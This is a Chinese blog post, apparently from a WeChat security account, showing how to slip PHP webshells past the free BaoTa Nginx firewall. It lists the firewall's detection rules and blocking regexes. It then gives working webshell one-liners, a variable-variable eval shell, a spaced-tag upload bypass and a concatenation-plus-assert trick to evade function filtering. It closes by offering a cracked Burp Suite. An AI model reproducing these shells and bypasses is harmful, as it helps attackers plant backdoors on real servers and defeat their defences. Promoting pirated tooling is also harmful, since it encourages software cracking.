前几天发了一篇绕过D盾的文章,如下
其实绕过宝塔的webshell,也很好绕过,也不需要对php的理解有多深入,其实往往最简单的方法就可以绕过
注意绕过的是 免费版的宝塔 nginx,收费的nginx太贵,没买
我们就来一发简简单单绕过宝塔的姿势方法。
0x01 一句话
PHP常见的命令执行/代码执行函数如下:(这里都不一一举例了)
eval()
assert()
system()
shell()
shell_exec()
exec()
call_user_func()
call_user_func_array()
array_filter()
常用的一句话如下:
eval($_POST['a']);
'a']); assert(@$_POST[
0x02 一句话绕过宝塔
因为是自搭环境做的测试,用的是免费版的 NGINX防火墙。
安装过程就不多说,点击下载即可
我们点击设置,里面有各种样式的设置,你们自己看即可
注意,需要把上传后缀php给删除,如果不删除,不能上传php后缀的文件,直接拦截
webshell查杀规则如下
${'_'
@preg_replace((")*/(S)*/e(")*,$_POST[S*]
base64_decode($_
'e'.'v'.'a'.'l'
"e"."v"."a"."l"
"e"."v"."a"."l"
$(w)+("/(S)+/e
(array)$_(POST|GET|REQUEST|COOKIE)
$(w)+(${
@$_=
$_=$_
chr((d)+).chr((d)+)
phpjm.net
cha88.cn
c99shell
phpspy
Scanners
cmd.php
str_rot13
webshell
EgY_SpIdEr
tools88.com
SECFORCE
eval(('|")?>
preg_replace("/.*/e"
assert(('|"|s*)$
eval(gzinflate(
gzinflate(base64_decode(
eval(base64_decode(
eval(gzuncompress(
ies",gzuncompress($
eval(gzdecode(
eval(str_rot13(
gzuncompress(base64_decode(
base64_decode(gzuncompress(
eval(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
assert(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
require(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
require_once(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
include(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
include_once(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
call_user_func(("|')assert("|')
call_user_func(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
$_(POST|GET|REQUEST|COOKIE)[([^]]+)](('|"|s*)$_(POST|GET|REQUEST|COOKIE)[
echo(file_get_contents(('|"|s*)$_(POST|GET|REQUEST|COOKIE)
file_put_contents(('|"|s*)$_(POST|GET|REQUEST|COOKIE)[([^]]+)],('|"|s*)$_(POST|GET|REQUEST|COOKIE)
fputs(fopen((.+),('|")w('|")),('|"|s*)$_(POST|GET|REQUEST|COOKIE)[
SetHandlerapplication/x-httpd-php
php_valueauto_prepend_file
@eval(
@$_($_
$_=""
直接把绕过D盾用到的可变变量的方法拿过来
<?php
$ww="heihei";
$a = 'ww';
$$a = $_GET['a'];
echo eval($ww);
?>
我们先测试webshell在线扫描的功能
很轻松就绕过了
我们在来测试上传的拦截
此时,我们通过宝塔后台,写入一个上传的接口
我这里是百度的 https://www.jb51.net/article/114025.htm,注意把type修改
我们上传一个比较简单的webshell
<?php eval($_GET['a']);?>
可以发现被拦截了
我们上传
正常的图片,只是把后缀修改
发现还是拦截的状态,我们从后台的日志看看为什么拦截
from-data 协议规范是multipart 传输数据的一种格式规范。不符合规范的将会被阻拦
满脸的??????????
最主要的是 from-data 检测关也关不了。
找到作者,跟作者简单沟通了下,写死的程序,就不允许上传php(作者也是从业者)
作者用lua语言开发,拦截写死,禁止php和jsp 后缀上传
为了方便测试,我这边直接修改源码,进行保存
然后我们直接针对内容进行测试吧。
当我在内部添加 <?php 的时候,被拦截了
ip 也被封锁
当代码<? 不在一起或者空出现的时候,都不会拦截
111"<`?php "2";?>
但是访问没解析成php
< ?php echo"2";?>
这个头绕过思路相信大家都有了一种方法。这个免费版本的防火墙匹配正则规则如下
ngx.re.find(part_body,[[<?php]],'ijo')
webshell上传成功后
接下来就是流量的过滤了
列如
phpinfo();
$url = "php";$p ="info();";echo $url.$p;;
我们可以发现,这样回调下,不会拦截,但是phpinfo没执行
拦截函数如下
(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)(
全匹配,这些函数,我们应该怎么绕过呢?
$url = "php";$p ="info();";$c=$url.$p;assert($c);;
关注黑客街,回复 burp 即可 获取 最新版破解burp
如果您觉得该文章有用,请记得点赞和转发哟。
您的阅读和转发 希望都可以让身边的朋友能够共同成长
谢谢大家关注黑客街安全团队
觉得不错点个“赞”、“在看”,支持下小编
原文始发于微信公众号(黑客街安全团队):简简单单webshell绕过宝塔的一种方法【php】